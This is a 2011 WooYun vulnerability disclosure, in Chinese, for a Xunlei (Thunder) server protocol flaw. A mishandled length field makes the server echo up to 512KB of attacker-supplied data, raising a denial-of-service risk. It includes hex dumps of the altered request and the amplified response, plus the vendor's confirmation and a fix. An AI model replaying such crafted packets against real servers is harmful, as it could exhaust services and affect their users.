当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03333

漏洞标题:迅雷服务器端协议族设计缺陷可能导致迅雷服务器拒绝服务

相关厂商:迅雷

漏洞作者: vessial

提交时间:2011-11-17 14:50

修复时间:2011-12-17 14:50

公开时间:2011-12-17 14:50

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-11-17: 细节已通知厂商并且等待厂商处理中
2011-11-17: 厂商已经确认,细节仅向厂商公开
2011-11-27: 细节向核心白帽子及相关领域专家公开
2011-12-07: 细节向普通白帽子公开
2011-12-17: 细节向实习白帽子公开
2011-12-17: 细节向公众公开

简要描述:

迅雷服务器端协议族设计缺陷可能导致迅雷服务器拒绝服务,这个属于协议族设计缺陷,由于没有检查用户提交查询信息,协议族里面的长度字段处理不当,导致服务器返回用户提交的数据,用户提交多少,服务端返回多少,最长可以返回512KB数据,每一个协议命令请求都有这种问题。

详细说明:

由于迅雷服务端处理用户提交的数据的时候是基于用户发送过来的数据buffer,也就是服务端要返回数据给用户的缓存区是同一块数据区,在此基础之上进行修改或者增加数据,但是由于对用户提交数据的子blob数据头部长度判断有误,导致此问题的产生,最终的后果就是用户提交多少数据,服务器返回多数据
正常是这样的
C:\vessial\Pcap\xunlei>python ack.py
0000 FE 07 08 00 00 00 26 00 00 00 0A 00 00 00 37 2E ......&.......7.
0010 31 2E 34 2E 32 31 30 34 04 00 00 00 04 00 00 00 1.4.2104........
0020 30 30 30 30 08 00 00 00 31 2E 31 2E 32 2E 34 36 0000....1.1.2.46
0030 E5 07 02 41 00 00 00 35 00 00 00 68 74 74 70 3A ...A...5...http:
0040 2F 2F 64 6C 5F 64 69 72 2E 71 71 2E 63 6F 6D 2F //dl_dir.qq.com/
0050 71 71 66 69 6C 65 2F 71 71 2F 51 51 32 30 31 30 qqfile/qq/QQ2010
0060 2F 51 51 32 30 31 30 53 50 33 2E 31 2E 65 78 65 /QQ2010SP3.1.exe
0070 00 00 00 00 00 00 00 00 10 00 00 00 30 30 46 33 ............00F3
0080 43 44 41 39 30 34 45 30 48 33 31 51 C0 A8 01 67 CDA904E0H31Q...g
0090 01 00 00 00 00 00 00 00 FF FF FF FF 04 04 04 04 ................
None
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decrypt data
0000 FE 07 08 00 00 00 26 00 00 00 0A 00 00 00 37 2E ......&.......7.
0010 31 2E 34 2E 32 31 30 34 04 00 00 00 04 00 00 00 1.4.2104........
0020 30 30 30 30 08 00 00 00 31 2E 31 2E 32 2E 34 36 0000....1.1.2.46
0030 E6 07 01 14 00 00 00 6B 2F 09 3C 6C 12 0A F3 D2 .......k/.<l....
0040 EF D7 E1 2C 64 01 99 E9 80 C7 A6 78 55 24 02 00 ...,d......xU$..
0050 00 00 00 14 00 00 00 58 43 4C 3F F0 09 D4 21 5C .......XCL?...!\
0060 F0 BC 54 EB 97 FA 23 F6 20 69 F4 00 00 04 00 5A ..T...#. i.....Z
0070 00 00 00 00 00 00 00 01 00 00 00 00 14 00 00 F4 ................
0080 01 00 00 1C 00 03 00 00 00 65 78 65 00 00 00 00 .........exe....
0090 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................
漏洞证明是恶意构造的。
0000 FE 07 08 00 00 00
90 10 00 00<--- 正常情况下是26 00 00 00,构造后就成了这样
0A 00 00 00 37 2E ..............7.
0010 31 2E 34 2E 32 31 30 34 04 00 00 00 04 00 00 00 1.4.2104........
0020 30 30 30 30 08 00 00 00 31 2E 31 2E 32 2E 34 36 0000....1.1.2.46
0030 E5 07 02 41 00 00 00 35 00 00 00 68 74 74 70 3A ...A...5...http:
0040 2F 2F 64 6C 5F 64 69 72 2E 71 71 2E 63 6F 6D 2F

漏洞证明:

C:\vessial\Pcap\xunlei>python ack.py
0000 FE 07 08 00 00 00 90 10 00 00 0A 00 00 00 37 2E ..............7.
0010 31 2E 34 2E 32 31 30 34 04 00 00 00 04 00 00 00 1.4.2104........
0020 30 30 30 30 08 00 00 00 31 2E 31 2E 32 2E 34 36 0000....1.1.2.46
0030 E5 07 02 41 00 00 00 35 00 00 00 68 74 74 70 3A ...A...5...http:
0040 2F 2F 64 6C 5F 64 69 72 2E 71 71 2E 63 6F 6D 2F //dl_dir.qq.com/
0050 71 71 66 69 6C 65 2F 71 71 2F 51 51 32 30 31 30 qqfile/qq/QQ2010
0060 2F 51 51 32 30 31 30 53 50 33 2E 31 2E 65 78 65 /QQ2010SP3.1.exe
0070 00 00 00 00 00 00 00 00 10 00 00 00 30 30 46 33 ............00F3
0080 43 44 41 39 30 34 45 30 48 33 31 51 C0 A8 01 67 CDA904E0H31Q...g
0090 01 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF ................
00a0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
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1090 FF FF FF FF FF FF FF FF FF FF FF FF 04 04 04 04 ................
None
recv data
decrypt data
0000 FE 07 08 00 00 00 90 10 00 00 0A 00 00 00 37 2E ..............7.
0010 31 2E 34 2E 32 31 30 34 04 00 00 00 04 00 00 00 1.4.2104........
0020 30 30 30 30 08 00 00 00 31 2E 31 2E 32 2E 34 36 0000....1.1.2.46
0030 E5 07 02 41 00 00 00 35 00 00 00 68 74 74 70 3A ...A...5...http:
0040 2F 2F 64 6C 5F 64 69 72 2E 71 71 2E 63 6F 6D 2F //dl_dir.qq.com/
0050 71 71 66 69 6C 65 2F 71 71 2F 51 51 32 30 31 30 qqfile/qq/QQ2010
0060 2F 51 51 32 30 31 30 53 50 33 2E 31 2E 65 78 65 /QQ2010SP3.1.exe
0070 00 00 00 00 00 00 00 00 10 00 00 00 30 30 46 33 ............00F3
0080 43 44 41 39 30 34 45 30 48 33 31 51 C0 A8 01 67 CDA904E0H31Q...g
0090 01 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF ................
00a0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00b0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
00c0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................
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1090 FF FF FF FF FF FF FF FF FF FF 00 00 01 03 03 03 ................
None

修复方案:

增加用户提交数据内容各个字段仔细判断,不要为了提升性能而忽视了安全性。

版权声明:转载请注明来源 vessial@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2011-11-17 17:14

厂商回复:

感谢vessial的详细报告,有关p2s协议,这周修复!再次感谢!

最新状态:

暂无